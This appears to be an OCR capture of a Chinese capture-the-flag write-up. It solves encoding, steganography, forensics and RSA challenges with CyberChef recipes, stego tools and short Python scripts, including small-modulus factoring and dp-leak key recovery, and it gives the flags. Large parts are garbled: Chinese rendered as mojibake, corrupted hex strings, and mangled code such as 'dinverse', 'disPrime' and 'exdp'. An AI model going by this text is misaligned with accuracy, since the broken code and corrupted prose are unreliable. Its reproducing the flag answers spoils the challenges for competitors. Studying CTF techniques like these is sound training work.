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Recipe Ol 3
From Base64 O n
Alphabet .
A-Za-z@-9+4/=
Remove non-alphabet chars D Strict mode
-
STEP . BAKE!
Auto Bake

length: 484080 —
Input e .+ 02w =

1VBORWBKGZOAAAANSUhEUgAAATMAAAHPCAYAAACWQEW2AAAAAXNSROIArs4c6QAAIABIREFUeF68vQmwbd1Z3/
dfezrjnd78+vioGUlgITWihRBCZrawDQYjxy4HFwEByMbgKk /
BcQUSOXUnFWKCwYnLd1KpioeykeMp2E6KQSBhZoSEIbWG71YP7/Ub7nzPuPdeqd+31jp33/
VU634tAbve9bn33DPsvfZa6/8N/+//ulvXrvkf+aG/JI61nleVs3cmzn7/2Q99SMIfve5rV6/qq9/52tVzD15b6r3f+Ki+
+K@PS36gv/N3feYv3pprMBjolos39Y1f8zV66+01ts63unlzpl/68C196s039KvP3NE3/eHX60+87+2aT9f0a7/
xKb3+jV+mC5euéld/7j/ov/6hHIE/ /mc/
gYuXLsm3jbxvtFzh+sSnn9bul /9T jXRHW5tD+cNDO5d@1HMtUTnT7qRU7qFqFbUGFade2arIbkpqTrz+71+8nBYqLx8pqw
61ltpYrKvmmlstyaeilsZPrD+Q11tNSKqdSOZeUSW40qZTE4OBSLvnzkn9QemuSGOmM6IKmQbock8bn7kjuQPNFSSvVUambH
plbsSBmfz+ElLelruz47k19KrpR8Hd4v71kevms+kzjvvISHy3COfiovL5cX4VRII7ki/03EweeF+y+/
0GPcCil7SPIvIW/elrnXyxWbl1l/nl/
IN13dbLnte@l0Sf8ZynPcdqR1Lri91A6k9LIWMTSV1Yy1lbk7IMmuxJIhZeyo3C9+bbk9iVtS4uptFzI+6mNpeclXCanzhDy
yJCloVva5R8/1/C7D6/jaMOl+jj8y7pQ3RRyTaveMt2D7iXmUnFBrT+Q2vCmZVGqaGolla68DFNtUVTqL2f22LSZNK/
15rXK@quunZpa8leyWxKfUy9XXjmV7VLtMFfmN+WypZRNpHYg3471813Vfql26VTOLl/adfH/rMjnnletqmIpP6801/
mykIaFsmGjrIoXX@huILkL1dxWL8yh7tEu5ZdHx+PHOHamKT/bNGEKdg7fZvItLt/
kekWtLGO+eXuuXZb2HI9SX1IPbVvIaVo5b6I83ErrThp7ZWtjavBIbsu/
raXJjvyul9yS5sPTEPjGQc3EdMaV7Tm7gpKqUZz1kcz13ZN+vYhIe7zoKqa6kpZe3CaXjedV5rZsPpTqTb5ZS05FfGhdyykF
80Ur6UxvHFy57csLVrcMVYghhklhX7w9bxvC/WpWwU1jKTlonK2mzZidA/H2k5r1YWbxjrltawl/3RcXy9I7Z78fCm/
H+c4Q1NncuwHOfdYWr701U7Sdzh5verLI/

time:  82m

Output 'I: length: 363060 [ rD @ H

lines: 1164
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WEER:  EEXY  download.png

Password or leave a blank:

Enter the password, if there is no password, leave it blank.

The info hidden in the pic is: flag{wobushinailong_woshihuangdou}
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https://toolgg.com/image-decoder.html

Recipe BEE nput length: e 4 5§

lines:

8ce8b@9IBeSaF8ce5bcbae887aae794ble6b@91e4b8bbe887aae794ble5bo9b3e7ad89e887aae794ble585ace6ada3es ™
928ceB8b@90e5af8ceSbcbae5928ce8b090e695ace4b89ae887aae794ble585acebada3e5928ce8b090e695ace4b89a
e5928ce8b@90e5af8ceSbcbae887aae794ble6be91e4b8bbe887a22794b1e6968726988ee887aae794ble585ace6ad
a3e5928ce8be98e5af8ce5bchae5928ce8b@2@e695ace4b89ae887aae794ble585acebada3e5928ce8b@90e695acesd
b89ae5928ce8b0898e5af8ceSbcbae887aae794b1e6968726988e25928ce8b@90e788b1e59bbde887aae794b1e585ac
e6ada3e5928ce8beo0e5af8ceSbcbae5928ce8be90e695ace4b89ae887aae794ble585ace6ada3e5928ce8b090e695
ace4b89ae5928ce8b@9@e5af8ce5hchae887aae794ble6b891e4b8bbe887aae794b1e887aae794b1e887aae794bles
85acebada3e5928ce8bB9BeS5af8ce5Sbcbae5928ce8b0@90e695ace4b83ae887aae794ble585ace6ada3e5928ce8b890
e695ace4b89ae5928ce8bo90e5af8cesbcbae887aae794b1e6968726988ee887aae794b1e887aae794b1e887aae794
ble585ace6ada3e5928ce8b@9@e5af8ce5bchae5928ce8b@9@e695ace4b89ae887aae794ble585acebada3e5928ce8
bB98e695ace4b83ae5928ce8b090e5at8ce5bcbae887aae794b1e6bB91e4b8bbe887aae794b1e887aae794b1e887aa
e794ble585ace6ada3e5928ce8b090e5af8cabbecbae5928ce8b@90e695ace4b89ae887aae794ble585acebada3e592
8ce8b@90eE95ace4b89ae5928ce8b@90e5af8cesbcbae887aae794b1e6968726988ee887aae794b1le6b091e4b8bbe8
87aae794ble585acebada3e5928ce8b@9@e5at8ce5bchae5928ce8b820e695ace4b89ae887aae794ble585acebadal
e5928ce8b@90e695ace4b89ae5928ce8bB9Be5af8ce5bchae887aae794b1e6b091e4b8bbe5928ce8b090e6b395e6b2
bbe887aae794ble585ace6ada3e5928ce8bo90e5af8ce5bcbae5928ce8b090e695ace4b89ae887aae794ble585aceb
ada3e5928ce8bB9Be695ace4b89ae5928ce8bB98e5af8ce5hchae887aae794b1e69687e6988e25928ce8b@90e788b1
e59bbd v

From Hex O u

Delimiter

Auto

start: 11328 time: 29ms

Output end: 11328  length: 2 B rD M| H

length: ] lines:
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V] F S 4 2 TR S5 A0 3 o 2 AN R B R 1 a9 o 4 0 0 SR O 9 1 2
Auto Bake MR AR £ SO RSO i 2 TERTIE TSR SR £t A RIS BOWATE 3 3 i R b 02
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STEP & BAKE!
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09F90AAF09F90ACF09F90ADFO9F90BIF09F20AAFO9F90ACFO9F90ADF09F90AAF09F90ADF09FQ0AFFO9F 90ADFO9F90AAF 09F90AEFO9F90ATFO9F90ADF09F90BDF09F90AAF09FQ0ACFO9F90ADFO9F90
BIF09F90ADFO9F90BAF09F90ADFO9FI0AEFO9F90AAF 09F90ACFOIF90ADFO9F90AAFOSF90AEFO9F90ABF 09F90ADFO9F90BOF09F90ADF09F30AFFO9F90ADFO9F90AEFO0SFI0AEFO9F90AFFO9F90ADFQ9
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Recipe BEE  nput leth: 2% 4 e o] §oEE

lines: 1

ADF@IF9OAEFOIFI@ADFOSFIAFFOIF 90ADF@IF90BDF@9F 90ADFEOF S0ABFOSFOPADFOIFIOAAFOOF SBADFOIFIOABFOIF A
From Hex © 1l 5eaDFe9F9EBIFEOFSOAEFGOF JOAF FOOFO@ADFAOFSBAAF@OF 9BAAF GOF9BBOFOSF ORAEFOSFIBAAFBSFOAAF@IF 9OABFO
9F9BAEF@9IF9PAAFBSFIBABFBIFIBASFOIF 9BADFEIFIBAAFBIF9BADFBIF 9BBAF 69 F9BADFBIFI@BDFBIFIBABFEIFIBAT
FO9F90ADFO9FIOBDFOIFIOADFOSFIRAF FOIF9OADF@IFIOAEFOIF 9OAEF@OFSPAFFOSF 9OAEFBIFIBAAFOIF 90ABFEOFI0
ASF@9IF9BAEF9FI@AAFESF9RABF@9F 99A9F@9F9BADF@9F 9@BDFESFSBAAF@9F9BACFBIF 9BADFOIF 98BIF@IF 9BADFOIF
9BABFOIF9@ADFOOFSPAEF@IF 9BAEFBIF9BAT FOOF 9BADFOIF 9BAAF B3 FOBADFROF 9@AF FOOF 9BADFBIFIBBDFEIF 9BAEFE
9F90A7FOSFSOAEFOSFIBAAFBIFIOAAFOIF9BACFOIFIOADFOSFIOBIFOIF 9OAEF O9FIOA7FOIFIRADFEIFIOBIFOIF90AB
Fe9F98ADF@9F9BAEFRIF9@AAFOSFIRABF 89F9OAIF89F9BADFOIF 9BAEF@SFSPABF@SF 90BEF@IFIBAEF@SF 9BAAFBIF90
AEF@9F9BAFFA9F9I@ADFEIF9RBOF@9F 99ADFBIF9BBAFO9F 9BAEFEIF SPAAF@9F9BAEFBIF9BABFOOF 9BADFEIFIBAEFBOF
9BACFOIF9OAIFOSFSPAEFOIF 9OAAFBIFIRAAFOIF 98BOFOOF 9OAEFOSFOBAAFBOFSOAEFOOF 9BABFOIFIOAEFOIF SBAAFD
9F98ABFE9F9BAIFOSFIBADFBIF9BAEF@9FSBADFEIF9BABF@9F9BADFBIF 9BAEF @S FIBAEFBIFIOAF FEIF9BADFOIF 9BAE
Fe9F90ADF@IF9BAFFRIFIBADFOIFIBAAF BOFIBAEFBIFOBAF FAOF 9BADFBIFSPAEF@IF 9BACFBIFIBADFAOF 9BADFEIFI0
AEF@9F90ADFOIF9@ABFOIF9RADFOIF 90AAF@IF 90ADFOIF SOABFOOF SOADFO9F9OBDFOIF9QABFOIF 98BEFOIFIOADFOIF
9@BDFO9F 99ACFOSFSPAIF@IF 9OAEFBIFIBAAF@IF 9BAAF@IF 9OACF @S F9BADFB9F9@BIF@9F 9BAAFBIFIBACF@IF 9BADFO
9F9BAEF@9IF9PAEFBSF9BAFFBIFIBADFOIF98BIFBIFIBABFOIF9BASFAIF 9BADF O9F98BDFBIFIBACFBIFIBAIFEIFIBAD
FO9F90AAF@9FIPADFOIFIOAFFOSFIADFB9F9BAEF@IFIOABFOIF 90BEFOIFSPADFOSF 9OAEFBIFIBAEF@IF I8AFFEIFI0
AEF@9F9BAAFB9F9@ABFESF9BASF@IF 90ADF@IF9BAEF@9F 90ABFESFS@BSF@9F9ADFIF 98BDFO9F 9BADFEIF 98BAF@IF
9BA7FOIF90BSE| Y

Delimiter

Auto

time: 2ms

Output length: 708 B I_D 3] H

lines:

ARREVERMEIARDERUREHIVBUEVEURUBUEVBUOVERITEW
TUROHURRIToUEToNIUCRBURVUITZoRNUURRINURORIUR
PRUCHUUONIRCERUAVEVITRRIVBRIVRVOIRELITeRINT
BUEAREPRIURNERVBTTUCOUIEERNeRNERNRRNVeTBRTT
TUOURURURUBDCUURRUCRNRNEERRRURUETeRUAToVWTY
PUUORBRORLRRVeRIVRURUEERURUINCBAERRIVIEDH
HERVORRNVCROBREPNEUETRERUEIRNORRUCRERER
RRUVCURUDUINBUTUHROUREIUVUBURURURNOoRBUSIH
ggh%g%gﬁﬁﬂﬂ@ﬁﬁh%ﬂ@?%ﬁ%@@ﬂﬂhgﬁuuwu%h%ﬂUI
@

AmanCTF - BASE10045z 538743

PRREYERNURERURERVEVEQCURICUAVEVIVERUVEVTUR
BIRNRIUOUBNeoNIVERBUNUINORNUURVAIREAINERITBRY
PUERIUWERRVEVIVRRITERIVRNVIVREATeoRNITEIBICRIVR
PRIEVINBCUNERERNeRNUTRRRTVOVWBUPUNTINeoWRIRIRIEY
TURRNUTRRUEERRRUNVEN0RRVoVTICTTERNRRTRBRAT R
PEVRVCELTRUTIVNBRERRIVCBERNVERVCRRAVERNSERBTRE
QECRERVEIRNCRNRUERERERBRVCTRUECTVUBUTIRNCOIREIY
PURRURNURNoRNBWeINTRNRIVERIVUSCCITIVNTZRRZe IR INRIVT
REVCTTITRRATTRBToVBNE y

e

63396739637463706B6C67646B6C6B6867466B68637063356F6C6F35674A63686F396339637063746B4667686B4267
6863356B35636863706F356B6C673563746B6867786B746F3973426F6C67686F6463646B78633973317342636C6F42
6F686778734273426F356B64677063686F7073356B706B467342674A73786B6C73746752733973747342676467786768
63786756676463646F4A6F5273356B3567786B426F526368674A67787342674A6F6C0A



Recipe DR ¥ nput Length: = LS § =

lines:

63396739637463706B6C67646B6CEB6867466B68637063356F6C6F35674A63686F396339637063746B4667686B426768

11
EromlHEx ® 63356B35636863786F356B6C673563746B6867786B746F3973426F6C67686F6463646B78633973317342636C6F426F68
Delimiter 6778734273426F356B64677063686F7073356B706B467342674A73786B6C737467527339737473426764677867686378
Auto 6756676463646F4A6F5273356B3567786B426F526368674A67787342674A6F6CRA
time: 1lms
length: 177 Ir H
Output e & a8 0m La
c9g9ctepklgdklkhgFkhecpe5olo5gIicho9c9cpectkFghkBgheskscheposklgsctkhgxkto9sBolghodedkxc9s1sBecloBoh
gxsBsBo5kdgpchops5kpkFsBglsxklstgRs9stsBgdgxghcxgVgdcdoJoRs5k5gxkBoRchglgxsBglol
« > C 25 wqtool.com/basecode ¢ tn) ° :
web tooks -
WO TOO L Cov- e IS R W TR
base4R 3763

2BT6UCUTT61eaK4b2672DYD1Q46aUAT THIbyeDc3X2py5i dHyyaSF4f qVZyKxUnMrwyCHD8NC3kmqQHYm4KHyKe

basefRigfiEFS T 2o] UG E@NN 7L T base16. base32. base36. base64afbase58, base62. base85. base9143i37 muit{Tiie SRS SARISFIT.

I BT "watool'# Abase64GEIBFT

1. A\ S ERCHEBNTRF

2. EFRRIGZEE base64

3. mE "R RN ENF it Tbase644Ri5

83" wqtool "1 base6 MRIBFEIREAIES : d3FOb29s

T2: Kbased1RIBFH: "B&UK "IEAZELF

1. KRB "B&UK"

2, REGHEEE Sbased] IR
3. EEIR"ARSREE T LIS RIbased 1R FRHFIE/9: www &4



> C 2% wgqtool.com/basecode > o (<)

WOTOO L comE R cIIE= a8 oS i T =

basefmi3fiFH3

B
o
i
Eﬁ
%

SRADZEAL:

PJWDCSZRENAVGVRSMNUVMOCUNFRFQI JTI53S4TJVGY5US5 JZI5NHE3DVMZGHEZSC

basefRi3#EFE T 2o UGB FILE N base16, base32. base36. base64afbase58. base62. base85. base9143i3/ it Tkl RIS SHRISFT.

a1 BXF: "wqtool"# Abase644RFEF R

1. AR\ B ERBRAFBNTRF

2, HEFRIGRE Ibase64

3. MR R EENF it Tbase644Ri%

153"wqtool"Zidbase64 RS IRSHIE: d3F0b29s

I2: Kbased 1 RIBFH: "BAK EZAEZBELF

1. FSCAESREN "B&UK"

2, REREBEESbased1 IR
3. BEiE RS RE AT LS Blbased 1 SRISIIF ARG : www W



RY (e CTHR T2 V5.7 20240430  S#hiRA7: V6.3 20241008 — O X
Base/Rot FHRE1 FHRE2 TRE RENE TkeyRE 28R HEIR XH#EF ITRAEE SHasE

¥ B (FH:64) Eifkey/dict/url: | FSalsRONL] —ﬂﬁﬁl
PTWDCSZRENAVG VRSNNUVMOCUNFRFQIT TIS 354 TTVGYSUSET ZI5NHE 3DVMZGHEZSH

BEZE)] o8 BE |t REER 1|
—RBB: (% = ‘ ~
bazefd {1 H9): <00 &OpO0OTROUOD” O4TE@ SER22UO00OTEO¥#O0cOpm10000O

base32 @3S z11K1#ASVZ2ciVEBTibX! 3Gw. M56 ; Tu9GZr lufLrfB

basel 6ARID;

baseB5(z) B1S:

base85 (b) Bi1D:

baseS8HFIS:

base36fHS:

based 1 fEH: _ .

based2 @19 O%W0AN-aaqa " 1%¢aD00 jo0=d 00/ Tpod 04 § AMGL

basef2 B9 43103423942709606968154366654292865300808728630167057620171315148033322590248328568133887612202
27393783762632528798

bazef2 (ASCII) H1S:

Baself-32-64-91' RS L EEHD:

1 1sBase32 True  PJWDCSIRENAVGVRSNNUVMOCUNFRFQIJTIS3S4TIVGYSBUSE]ZIGNHE3DVMIGHEZSC

2 1sBase91 True z11K1#ASV2ciVET1bX! 3Gw. M56 : Tu9GZrlufLrfB

3 isBasefd True  ImxhI3sdeXIMabHhyIDFrMGFwMGEmfQ==

4 MRINGR flagi8yvihxrdlk0ap0df}

MREHEE—IB [HBERIZEHD, ﬁ'ﬂ*visﬁ-:’i‘ﬁlteriﬁ%IEiﬁ%% °

16 B F T

10EIES

BRI T

23t HE =1

e 271771 ' v
Rt fE AWK Z M, FEBHTHEMIAEEAHLBE # BiE ARk S www. 1010, xXyz

BMKZ | FINISHED
Feitkey.htm| P REFAERIrgb) Tk, Hik16#HFIFFE T key




Last build: 4 months ago - Version 10 is here! Read about the new features here

Recipe Lal a [ ] i Input

676966742869732070407373776464/
From Hex ~0n

Delimiter
None

Output

gift is p@sswdd‘

FislienteyeffiZ T, 112 T flag.txt

F
Q Decode message: G:/JI|% 28 TH/S8/ MRS /flag.wav ? X

Media's encoding format: [WAVE -] ©
~Options
Sound quality: 93.75%|n0rma| 'l I\dvance:
Used channels: [2 channels |
» | Date distribution mode [eauidistribution |
Header position: lendina I
bit(s) per sample per channel3 = -y
Decoded file
2
flag.txt
* Type IAES256 j Key |******x I**x****
LCharSet: |UTF8 vl B [ Encypte F Compres € Cancel | () Decode|

1 BEMKRER, BHIFEERFEIflag

3 RE="AAR #FAE HkI FAE K13 RS kil XXiE BAR HEWS Bk HK
N BAER EAR OB KBE BAR HAIT HBX HI1E AXKR ZLE ENE 8XE K
I3 EANR FE2F BEKN ek B BER BN BAE BKiE B BAE BAR
Bk 24 ek KR B3 Bie Bl gk X1E EAS AR Bk HAK
T AARR x4 HKH H1E EAE KAE ORI 285 AKRKR EAR ek KR &
K3y Eok3y BAR BEAie PR 20kIR ORI BAR KARE KAE EHR 285 AR
EAHE KL REF AR £2¥ AW H£A7F Bk AR K138 EBS 2kl K+
%gl



1 star_to_direction = {

"R 0, "FE4": 0, "&LIE": 0, "EHE": o, "EAMK": 0, "EANIE": o,

"EEKFE": 0,

3 URAKE: 1, "ASAM: 1, "KLEU: 1, "EA%: 1, "LANN: 1, "RAE": 1,
"ERH": 1,

4 vEAIRM: 2, vESWN: 2, BN 2, "BEWY: 2, "EAGY: 2, EAR": 2,
Bk 2,

5 AR 3, "REE': 3, "WLE: 3, "EAD": 3, KA 3, "EAR": 3,
K" 3

6 }

7 stars_list = [

AR, AR, "EOKSY, "EEBSN, "ELIEY, "EADY, "Bk, rLtiE,

RAE",

o "REN", "B, "EAP", "BAR", "EARY, OB, "KAE", "BAE",
AT,

1o "REMT, "EILE, AR, "LE, "EAE, AR, "RLIET, "EARY,
nEEg

11 EARY, SR, "Bige, "ERGY, "RAR", "BAE", "BKE", "HEk,
"BAE",

12 "RAE", "EKEY, “ERE, "ASRN, "KLY, "EAS, EAR, "EAR,
SR,

13 gige, "EADY, AR, CEKE, HAF, AR, 4, HEkR,
"iLiE",

14 EAGE, "KARe, "OAM", "EAD", "AAK, "ERR", "AER", "SKE",
"EEKH",

15 UEOKEG, “RAUR", "RAGE", "SAEE, "Bu0Rv, 0B, "BAE", "KAE,
KA,

16 "EBER", "EADY, SAE, "EAEY, CRLE, "RLE, "BARY, "ESR,
"SRR,

17 AR, UEEKERY, SRR, "4, "EADY, "Bk, "KL

18 ]

19 direction_string = ''.join(str(star_to_direction[star]) for star in stars_list)

20 quaternary_numbers = [direction_string[i:i+4] for i in range(0,

21
22
23

#83 | FINISHED

len(direction_string), 4)]

decimal_numbers =

print(''.join(chr(num) for num in decimal_numbers))
#flag{BaguA_M4ster_0OvO}

BiZeEdETEA, hKRE %
MBI T )\ (/NEZEES, ARCHPREEIEHEH S moximoxi
FHlF—T, BEXRGE N pdf

[int(num, 4) for num in quaternary_numbers if len(num)

4]



Recipe Bm 8 Input length: 2,650,000+ [ 5] | =
Reverse o n
By
Character
X
Name: Y
Size: 2,651,044 bytes
File icon
Type: unknown
Loaded: 100%
start: 2650946 .
time: 276ms ra
Output hn;::; zesegig length: 2651044 a I_D M La
x.%0]H.Q.CA3u.A.OPFU.%-0E2+7. Ej{t3..¢(.F. . k®*@"~.(..0]| ~
%...)W.QiYDY.*..dUu.DIi0i8A.ROcy°>gh. 3V42 . F1V~1.5I1.NO. I._,%5.0F .Y . 50¢Fi.8yA:~ 2!
&.0p96.23u"'8.=s&0q.fa<..., .44
i.0¢\2.~1.84, .=, ..ar1&.\.+q.23j\.y,.xaz0..q.nk&-,.-avIG/iA.,D.iA"UAwl2a®.iv5.6%0.0. ..
%.07i.«!.20..X.DM. sUS{&OF>E.Cx.~\;C.~.U. .QS.FSLMY. r¥rd*?,
'3%.AevEi<.5x.kA.0,=+2EI. .8y&a(9N...0.+Gg./.E5!0I0 " |>]MY. .KAEEEN; C.w™ I}i8yUr7U. «xipDUP%a%R$_!
Rbem. . zbUGR-&P§EUY
isC-M?I.5..0]=20AV1AviAGQAO: TTUu%fc | k. P¢EAYLIV) .. {. . ¥...._%.UAis+00-.E.1?
4.6c..35..Hpv.f.f.2.1s5.1;6.1..X.AWp.GS
%hw . j=O{oWo . =.Y4040U3*x*z0PGNCUE? | Eii.v<.2
endstream
endobj
startxref
2658322
- v
STEP . BAKE! - [ o——
Auto Bake
v
B I pdfifdocx
&R X64 517 R
5 BEF B #R #5
) e x‘ e ’ e (G FTRESEUR
R TS 1R85 i/ HIERE
= }‘ download.pdf PDF->Docx >
B 253M £ | 4 ssom 48%)
pees]
pal ye i 53
PDF o
PDF &3 E4F PDF Pic—>PDF

T | T I | T

PDF->Pic PDF->Text PDF->Docx PDF—Excel
o N 1
vl i i
PDF PDF
Docx—>PDF &% PDF fnZ PDF FFZip

bl T

-> Mobi -> EPub -> AZW3
2 JEITRE\DVD\CDVISO
= et

B C:\Users\jyzho\Desktop

AETAEMUIWEER, BATEflag



Gl s

o X mi T - - = = w. |4 o mE -
il ‘%gﬂ Cambria @~ 11 -] A" A" Aa~ & T [A] | = - - = |[E B A [ 4] || gaBbCeD AaBbCcD: AaBbCc AaBbCcl AaBbceDe Aasbeene AAQ B m e
W o BT Uvabex x A« AN ety | B o B e « I3 T T 7 2 15 3 158 4 Tl s
2 e ? W i o Y
BERGER & & f=1]

Crypto

L

SR AT il &
0 KA, WA,

ROREBHE, \N=

=

BRAFEHA RERRE
g i% y
I

W, IR ©

RN LS. WA, R

IR e

LR LB E AT

ezCrypto | FINISHED

@
n

€

O 0 N O U b W N

[ S
N R

import gmpy2
from Crypto.Util.number {import *

65537
1455925529734358105461406532259911790807347616464991065301847
69380371057914246192606760686152233225659503366319332065009

p=1201147059438530786835365194567
q=1212112637077862917192191913841
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
#flag{factOr_small_N}

Z 2 | FINISHED

s | &



, AEHBEREZRAN,

S, RRHHIEER.

Text in Text Steganography Sample

Original Text: | Clear | (length: 713)

INFHREAR I RIEGR L, PSR LEE— P AERIMIE, KEXREREEE
fth, HFB—aiE, REHOEE—XR ENNMERBREASHONEFTRER, K#
FATHIREKILE, EREE—F, REBELE. EBRS, BHMFERK, MEHER
—BEUNEERNEME, HERXEIN, BMRESRAREEMTFERENL RE
XTI ILF NERMEEERR, FEEET, RARRERFMRT., "L

SRR NPT
MR,

ERZETEEMET, REEH
A=
£7E, EAtRESE

Steganography Text: | Clear | (length: 825)

XidF—X, REEHUSBNNK, JEANRK, BEEEFEERFATIE. 8TRERE

TENEMPWELED, ERLEETET, REAETIME, REJURET RERE

T, MRLBRIHEER, BREERMAE, HOBERRBXERD. BNREESA, &
BRITETM, WARIEE, ENFAT—0, HT—0%, ELSEGRBES it
FRATEU : TRTE, BEHEW ! EEME, ARUERLTIRL. BRT Rk XREE

~

M7 HRP, £F SNMEEAEBERN, FoED, SBHLRk. AUIRE

BANT, FERBSHNENED, SOONE BA-KSHTRROEX, WEE S MBS L MR, gL, EE R SR En KR

RAMEFLABIRRLKNE, B-ABPRERRAT. BV, BEUVRBADOFMEANENRITT BREEMREELROMT. 5

REEEM— W, B UNORED, HEIMTD. hREA, FREZHBA,

N\ <

Hidden Text: | Clear | (length: 14)
flag {Hav3_fUn}

IXERmTE], FXBEITHRA, Pl ERGE, AFHBURERAS, BIEERTLS, R
UBRE T LIATMEE, SMETRLEXNF, FEEBECETT. BUENNE ENR

YRR EIE,
S, RRHEMREE,

N\ <

Download Stego Text as File

##6dp | FINISHED

from Crypto.Util.number -import =*

e = 65537
n =
1385199869611023203431240876837026474786277878723536203328730194769083438417786
9107768578977872169953363148442670412868565346964490724532894099772144625540138
6189136942406885556848739344244718378970536584855733957773499025813068751496778
6709801496959724033932758842176651000808318910982538529606950137760589329899695
3970043168244444585264894721914216744153344106498382558756181912535774309211692
3388791106437936285502442126186354762906998811886406452600752095943187256939728
4084696712041864131582909880738538250902972292389450855789033148553693874958346
3709142484622852210528766911899504093351926912519458381934550361

4 dp =
1006117359021037911015405769862467389091294364343519213384022046161380729683345
0471052854415028223646385923950188128384561670498427695130917229319025251017709
3383836388627040387414351112878231476909883325883401542820439430154583554163420
769232994455628864269732485342860663552714235811175102557578574454173473

5 c =
6181444980714386809771037400474840421684417066099228619603249443862056564342775
8844278435199925585035212712172375720849311795772742130567596517480725214234063
9134340439003664042592658777291425383482677795242892412072487909715410628189804
5222573790203042535146780386650453819006195025203611969467741808115336980555931
9659329533994283934161965073912016470154902989288575217256268919948928904999008



© 0o N O

10
11
12
13
14
15
16
17
18
19
20
21

2205100277464924259745694248010471117760498477537539498050458355749150896932049
8603227402590571065045541654263605281038512927133012338467311855856106905424708
532806690350246294477230699496179884682385040569548652234893413
for k in range(l, e):

p=(exdp-1) // k+1

if (e x dp - 1) % k == 0 and isPrime(p) and n % p == 0:

q=n//p
if disPrime(q):
break

phi = (p - 1) * (g - 1)

d = dinverse(e, phi)

dg = d % (g-1)

m_p = pow(c, dp, p)

m_q = pow(c, dq, q)

h = (inverse(q, p) * (m_p - m_q)) % p
m= (m_g + h *q)

plaintext = long_to_bytes(m).decode ()
print ("MREERYEA ", plaintext)
#flag{dp_1i5_leak}

math | FINISHED
MENELI, keyRBiE AT AR, BI=MZAINLFALIRFN

from Crypto.Util.number import *
from gmpy2 {import next_prime

n =
7392438472753897094720673878274841202224940135900741409853997875625945292865970
0377710511586544679590881903667870046014195087565369533136916336175715756537753
1721748744087900881582744902312177979298217791686598853486325684322963787498115
5878022742297396195288381879675272413660764381546970565505498006915287941363188
5647588463251163040382282573829977601839007957772841277653536704163212256563903
6104271672497418509514781304810585503673226324238396489752427801699815592314894
5816309945907960841235045427948578003304198507169976547381036157257946290297754
2117051551206301999476105189159737885969832065108318996990529796314096632937872
3373071590797203169830069428503544761584694131795243115146000564792100471259594
4880815716445410772836446667009629534600739539652502644019730804677609129246074
6178331295341903808462680967580799546324407398497994274028974114750474171503983
0341488696960977502423702097709564068478477284161645957293908613935974036643029
9714911021573212385255963488073957841205852478993697736093416549088078030074604
2527183283934159507820032767726577858272899405892038772118170810589407611005785
8324994417035004076234418186156340413169154344814582980205732305163274822509982
340820301144418789572738830713925750250925049059



5

O 0o N O

10
11
12
13
14
15
16
17
18
19
20
21
22
23

c =
2290437467936748890246535330067012963083519267457698428026363840947593797403005
3427830212322201481791158000642184760712304981610388536585153548171623668833060
0113899345346872012870482410945158758991441294885546642304012025685141746649427
1320630402334489597837305075399644457117892039484789277549684144842174519295903
6425282303443673614893670752649142713491081767629286591089925633597808413388530
1776638189969716684447886272526371596438362601308765248327164568010211340540749
4083374951253931614274938278664348140734142113592237242902515453245785015426437
6745607274824509953826812174161664594250370079644126955657576925020833355182015
0640236503765376932896479238435739865805059908532831741588166990610406781319538
9957125849929284908395578091701892054521525340291187001509599652675577125699424
6243081097705956507729095203175152835795712433916956254938660002429833440749825
7172578971559253328179357443841427429904013090062097483222125930742322794450873
7597199779811712219264399857869448849916606128244583394732631749699554531882121
1624270133048031326428103362377477255659317443851010149159666718735682793529625
6470338269472769781778576964130967761897357847487612475534606977433259616857569
013270917400687539344772924214733633652812119743

al, a2, a3 = 22, 40, 75

for i in range(2322):
if i % 4 ==
al, a2, a3 = a2, a3, al + a2 + a3 - 1
elif i % 4 ==
al, a2, a3 = a2, a3, al + a2 + a3 + 1
else:
al, a2, a3 = a2, a3, al + a2 + a3
p = next_prime(a3)

ifn%p == 0:
a=n//p
e = 65537
d = dinverse(e, (p - 1) * (q - 1))
m = pow(c, d, n)

print(long_to_bytes(m))
b'flag{77310934-21fa-4ee4-a783-dc1865ebab28}'

base1024 | FINISHED
M EBbasel024FFX, ERFEZ—T

1
2
3

if __name__ == "__main__":
b_BRFTHRNE = h_TF R (
"FTIRERREE N ZEBREB LT BRI ISIRT IR ECERSGERFHM= IR
fEZIDBEREEN T ESFEmEEEN R BHREZTE"
) # b_TFFXH)



b_XANA = b_BEFTNA .decode("utf-8")

print ("FEREEFEY:" + b_XZEAR)

# MR CEERE RAEE FIAE Zi56KF Z=imXT R

# flag{lAzEL CIEFRE FIHEE BIADE ZEBHIF Zipit R}

0o N o U

FESITMEES [FINISHED
Bz OMEMELRRE, BETHEENX (EHKLEEunicodeld

EBRASENZOMENMREE, B8AEXMIE (EF “HE xE 1+HEH8R" )
RXANELMILFLfThttps://www.lddgo.net/common/braille

1 print(

2 nin

3 \u897f\u5929\u53d6\u7ect\u7684\u5510\ud4ed9\u8s5ct\uffOc\uCOda

4 \u795e\u79d8\u800c\u6709\u80fd\u529b\u7684\u5b59\u609f\u7a7a\uffOc\uGO0Oa
5 \u603b\u60f3\u6253\u9000\u5802\u9f13\u7684\u732a\u516b\u6212\uffdc\udo0a
6 \u8d1f\u8d23\u80cc\us84c\u674e\u7684\u6c99\u50e7\uffoc\udeoa

7 \ud4e2d\u9014\u52a0\u5165\u7684\u767d\u9f99\u9a6c\uffOc\uCOda

8 \uG00a

9

\u5bf9\u4e86\uffoc\usfd8\u6709\u90a3\u6839\usds8a\u6765\us8d8a\u957f\u7684\u5982\
u610f\u91d1\u7b8d\u68d2\uOOOa\udea

10 \u2014\u2014\u300a\ube66\ue06c\udB61\ude67\Uu300b

ll mmn

12 )

Bunicodefi#td, 15%):
FARENEZRME =,

HWMARARIMES,
BREFTIRETRIIE) \ AL,


https://www.lddgo.net/common/braille

=db4,= 3 na
ATRETERINE,

RIBIABERD,
X7, FEIRERE KNS S

— (flag)
R T HE https://www.douban.com/note/848680051/?_i=4157717THEPyz0H,4158109HEPyz0H

BEflag{FHIRRRIBLL}, &, X MlageiRERRERY, KEHE LANF.

Forensics |AK

% %l | FINISHED


https://www.douban.com/note/848680051/?_i=4157717HEPyz0H,4158109HEPyz0H

v

ML

| "1'|"|""'|'H|' |.|u.
M “! Il “J//Z:ﬂ” mwfﬂmn hl]';lm L]EH:\\“ M\

i

||I||l|‘ |

i lh'li'lﬂlﬁlth'I”lHI m'u n‘lh i 'uH i "ll I

I| Ll ]I|\|I| \







IR]
%_m
Blet
7_J
1o

flag{pk&RZE %

@ | FINISHED




